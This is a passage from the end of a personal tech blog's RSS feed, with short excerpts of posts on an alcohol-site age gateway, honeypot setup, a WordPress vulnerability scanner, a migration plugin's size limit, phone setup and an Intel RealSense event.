				<description>&lt;p&gt;&lt;strong&gt;UPDATE 12/5/2016:&lt;/strong&gt;&#xA;If you&amp;rsquo;re going to attempt to integrate this into the &lt;a href=&#34;https://wordpress.org/&#34; target=&#34;_blank&#34;&gt;WordPress&lt;/a&gt; platform, please consider using my &lt;a href=&#34;https://wordpress.org/plugins/wp-drinking-age/&#34; target=&#34;_blank&#34;&gt;WP Drinking Age Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;So outside the normal grind I&amp;rsquo;ve been working on a website for a tequila brand. After a meeting with marketing I&amp;rsquo;d gathered it was important to add a drinking age gateway to the site. You see some type of these gateways on just about every alcohol brand&amp;rsquo;s site. I asked if they&amp;rsquo;d prefer to simply ask &amp;ldquo;Are you of Legal Drinking Age?&amp;rdquo;, and then have &amp;ldquo;Yes/No&amp;rdquo; buttons determine a user&amp;rsquo;s fate &lt;a href=&#34;http://cuervo.com&#34; target=&#34;_blank&#34;&gt;(1)&lt;/a&gt;,&lt;a href=&#34;http://www.1800tequila.com/product/silver/&#34; target=&#34;_blank&#34;&gt;(2)&lt;/a&gt;, or if they&amp;rsquo;d rather have the user input their birthday &lt;a href=&#34;http://www.patrontequila.com/age-gate/age-gate.html?origin=%2F&amp;amp;flc=homepage&amp;amp;fln=Post_Homepage_Patron3&#34; target=&#34;_blank&#34;&gt;(3)&lt;/a&gt;. Apparently, and I&amp;rsquo;m not a business guy or a lawyer so don&amp;rsquo;t comment and argue this with me, the yes/no gateways hold slightly less legitimacy than the ones where a user inputs their birthday to enter the site .&lt;/p&gt;</description>
			</item>
			<item>
				<title>Droplets of Honey: The Modern Honeypot Network</title>
				<link>https://ryankozak.com/posts/droplets-of-honey/</link>
				<pubDate>Thu, 17 Dec 2015 02:57:04 +0000</pubDate>
				<guid>https://ryankozak.com/posts/droplets-of-honey/</guid>
				<description>&lt;h2 id=&#34;easy-setup&#34;&gt;Easy Setup&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been meaning to play with honeypots for quite some time, and if I&amp;rsquo;d given it just a little more research, I&amp;rsquo;d have started much sooner. This is because shortly after deciding upon &lt;a href=&#34;https://github.com/gbrindisi/wordpot&#34; target=&#34;_blank&#34;&gt;glastopf&lt;/a&gt; as the first on my list of honey pots  to try out, I came across &lt;a href=&#34;https://github.com/threatstream/mhn&#34; target=&#34;_blank&#34;&gt;mhn&lt;/a&gt;, an open source project by &lt;a href=&#34;https://www.threatstream.com/&#34; target=&#34;_blank&#34;&gt;Threat Stream&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The Modern Honeypot Network (mhn) makes not only launching honeypots insanely easy, but it serves as a nice way of monitoring multiple honeypots as well. &lt;a href=&#34;https://www.digitalocean.com/&#34; target=&#34;_blank&#34;&gt;Digital Ocean&lt;/a&gt; Droplets  seemed like a cheap and safe way of getting started, and I quickly found &lt;a href=&#34;https://zeltser.com/modern-honey-network-experiments/&#34; target=&#34;_blank&#34;&gt;this post&lt;/a&gt; by &lt;a href=&#34;https://zeltser.com/&#34; target=&#34;_blank&#34;&gt;Lenny Zeltser&lt;/a&gt; which provides pretty good directions to anyone wanting to do this themselves.&lt;/p&gt;</description>
			</item>
			<item>
				<title>OWASP WordPress Vulnerability Scanner</title>
				<link>https://ryankozak.com/posts/owasp-wordpress-vulnerability-scanner/</link>
				<pubDate>Wed, 05 Aug 2015 18:52:45 +0000</pubDate>
				<guid>https://ryankozak.com/posts/owasp-wordpress-vulnerability-scanner/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://wordpress.org&#34; target=&#34;_blank&#34;&gt;WordPress&lt;/a&gt; makes up some large percentage of the web. As I&amp;rsquo;m writing this, web development firms all over the world are churning out WordPress sites for their clients. Some of these installs are vanilla and basic, yet some come with exceedingly complicated plugin/theme combinations. WordPress&amp;rsquo; ease of use is a double edged sword. The positive side being a developer may complete a feature rich, member&amp;rsquo;s only website in one day. The negative being, a multitude of plugins and code snippets written by other developers are included in these projects (other wise they wouldn&amp;rsquo;t be completed within a day). A good developer will make good choices as to what plugins to use, a novice developer may not be able to tell, and things can become dangerous.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Removing the 512MB size limit on All-in-One WP Migration Plugin</title>
				<link>https://ryankozak.com/posts/all-in-one-migration-sizelimit/</link>
				<pubDate>Fri, 10 Apr 2015 22:34:29 +0000</pubDate>
				<guid>https://ryankozak.com/posts/all-in-one-migration-sizelimit/</guid>
				<description>&lt;h2 id=&#34;update-pay-attention&#34;&gt;Update, Pay Attention!&lt;/h2&gt;&#xA;&lt;h4 id=&#34;bad-news&#34;&gt;Bad News&lt;/h4&gt;&#xA;&lt;p&gt;As of version &lt;code&gt;6.78&lt;/code&gt; things began to change, first the developers removed the upload feature, and the &lt;code&gt;wp-cli&lt;/code&gt; functionality. Newer versions of the plugin are really stripped down and include less functionality than &lt;code&gt;6.77&lt;/code&gt; did. The new version exists on the Wordpress repository almost exclusively to upsell you to the paid version. The new plugin is still hackable, but there are more steps required than what&amp;rsquo;s described below, and like I said, it doesn&amp;rsquo;t work with &lt;code&gt;wp-cli&lt;/code&gt;. The steps below to increase the plugin size don&amp;rsquo;t work on the new version.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Nexus 5 Cm12 Setup Part 1</title>
				<link>https://ryankozak.com/posts/nexus-5-cm12-setup-part-1/</link>
				<pubDate>Wed, 04 Mar 2015 18:08:19 +0000</pubDate>
				<guid>https://ryankozak.com/posts/nexus-5-cm12-setup-part-1/</guid>
				<description>&lt;p&gt;Within the same week, my girlfriend and I both found ourselves without phones. Her Galaxy took a soaking in the ladies room, and my late Nexus 5 had ceased to charge despite all repair effort. So now, I find myself with two fresh Nexus 5&amp;rsquo;s, a white for my girlfriend and a black one for myself, running &lt;code&gt;Android Lolipop 5.0.1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m going to walk through the process of  what I&amp;rsquo;ve done setting up the devices. They are almost completely open source, with additional security and privacy features to be installed in Part 2. This is written as a fairly high level overview of the process, so I&amp;rsquo;ll try not to get into the nittygritty. This isn&amp;rsquo;t intended as a walk-through.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Intel Realsense Dev Lab</title>
				<link>https://ryankozak.com/posts/intel-realsense-dev-lab/</link>
				<pubDate>Sat, 07 Feb 2015 15:20:17 -0700</pubDate>
				<guid>https://ryankozak.com/posts/intel-realsense-dev-lab/</guid>
				<description>&lt;p&gt;Although I’ve not actually been inside yet, I’m on the email list for the &lt;a href=&#34;http://hackerlab.org&#34; target=&#34;_blank&#34;&gt;Sacramento Hacker Lab&lt;/a&gt;. A few weeks ago they put out an email alerting local developers that their new location in Rocklin is hosting an event for Intel&amp;rsquo;s &lt;a href=&#34;http://www.intel.com/content/www/us/en/architecture-and-technology/realsense-overview.htm&#34; target=&#34;_blank&#34;&gt;RealSense 3D camera technology&lt;/a&gt;. It&amp;rsquo;s not really my field but I love leaning new things, and I love any kind of conference, so I applied. A few weeks later I got called up by an event organizer and they were nice enough to grant me a spot.&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
